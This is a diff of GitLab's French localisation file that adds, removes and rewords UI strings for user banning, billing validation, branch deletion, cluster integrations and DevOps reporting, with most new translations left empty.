msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr "Pour confirmer, veuillez saisir %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Pour confirmer, veuillez saisir %{username}"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] "Alerte"
msgstr[1] "Alertes"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "Toutes les fonctionnalités sont activées pour les projets vierges, à partir de modèles ou lors de l’importation, mais vous pouvez les désactiver ultérieurement dans les paramètres du projet."
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr "Une erreur s’est produite lors de la prévisualisation markdown"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "avr."
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "Projet archivé ! Le dépôt et les autres ressources du projet sont en lecture seule"
msgid "Archived projects"
msgstr "Projets archivés"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr "Couleur de fond"
msgid "Background Jobs"
msgstr "Tâches de fond"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "Couleur d’arrièreâ€plan"
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "Gérer les forfaits"
@@ -5004,6 +5069,9 @@ msgstr "Ce groupe utilise le forfait associé à son groupe parent."
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "Pour gérer le forfait de ce groupe, rendez vous à la section facturation de %{parent_billing_page_link}."
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "foire aux questions"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "mensuel"
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr "Branches actives"
msgid "Branches|All"
msgstr "Toutes"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "Impossible de trouver le commit HEAD pour cette branche"
@@ -5298,6 +5402,9 @@ msgstr "Supprimer toutes les branches qui ont été fusionnées dans « %{defau
msgid "Branches|Delete branch"
msgstr "Supprimer cette branche"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "Supprimer les branches fusionnées"
@@ -5307,6 +5414,12 @@ msgstr "Supprimer cette branche protégée"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Supprimer la branche protégée « %{branch_name} » ?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "La suppression de la branche « %{branch_name} » ne peut être annulée. Êtesâ€vous sûr(e) ?"
@@ -5328,12 +5441,18 @@ msgstr "Aucune branche à afficher"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "Une fois que vous aurez confirmé et cliqué sur %{delete_protected_branch}, cette action ne pourra pas être annulée ou restaurée."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Seul un responsable du projet ou son propriétaire peut supprimer une branche protégée"
msgid "Branches|Overview"
msgstr "Vue d’ensemble"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "Les branches protégées peuvent être gérées dans %{project_settings_link}."
@@ -5367,6 +5486,9 @@ msgstr "Cette branche ne peut pas être mise à jour automatiquement car elle a
msgid "Branches|The default branch cannot be deleted"
msgstr "La branche par défaut ne peut pas être supprimée"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Cette branche n’a pas été fusionnée dans %{default_branch}."
@@ -5379,6 +5501,18 @@ msgstr "Pour confirmer, veuillez saisir %{branch_name_confirmation} :"
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "Pour rejeter les changements locaux et écraser la branche avec la version du dépôt en amont, veuillez la supprimer ici et cliquer sur « Mettre à jour maintenant » ciâ€dessus."
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Vous êtes sur le point de supprimer définitivement la branche protégée « %{branch_name} »."
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr "Configuration de l’intégration et de la livraison continues"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "Intégration et livraison continues pour dépôt externe"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,8 +6433,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Choisissez une branche ou une étiquette (par exemple %{master}) ou entrez un commit (par exemple %{sha}) pour voir ce qui a changé ou pour créer une demande de fusion."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr ""
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificat d’autorité de certification"
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Projet Google Cloud Platform"
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "Type de machine"
@@ -7370,9 +7444,6 @@ msgstr "Assurezâ€vous que votre compte %{link_to_requirements} pour créer des
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Supprimer l’intégration de la grappe de serveurs Kubernetes"
@@ -7610,9 +7678,6 @@ msgstr "Sélectionnez la zone afin de choisir le type de machine"
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "Un problème est survenu de notre côté."
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr "Commit"
msgid "CommitMessage|Add %{file_name}"
msgstr "Ajout de %{file_name}"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "réalisé"
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr "Confidentialité"
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "Créer un jeton d’accès personnel pour votre compte afin de récupérer ou pousser par %{protocol}."
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr "Créer un groupe"
msgid "Create group label"
msgstr "Créer une étiquette de groupe"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr "Créer un nouveau fichier ou répertoire"
msgid "Create new label"
msgstr "Créer une nouvelle étiquette"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "Créer un nouveau…"
@@ -9376,6 +9456,9 @@ msgstr "Créer votre première page"
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr "Date d’échéance"
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr "Au cours de ce processus, il vous sera demandé les URL de GitLab. Utilisez les URL indiquées ciâ€dessous."
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,15 +12118,15 @@ msgstr ""
msgid "Embed"
msgstr "Embarquer"
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr ""
msgid "Enable"
msgstr "Activer"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr "Activer Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Activer ou désactiver la collecte de données Pseudonymizer."
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr "Une erreur s’est produite lors de l’activation ou de la désactivation de l’abonnement aux notifications"
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
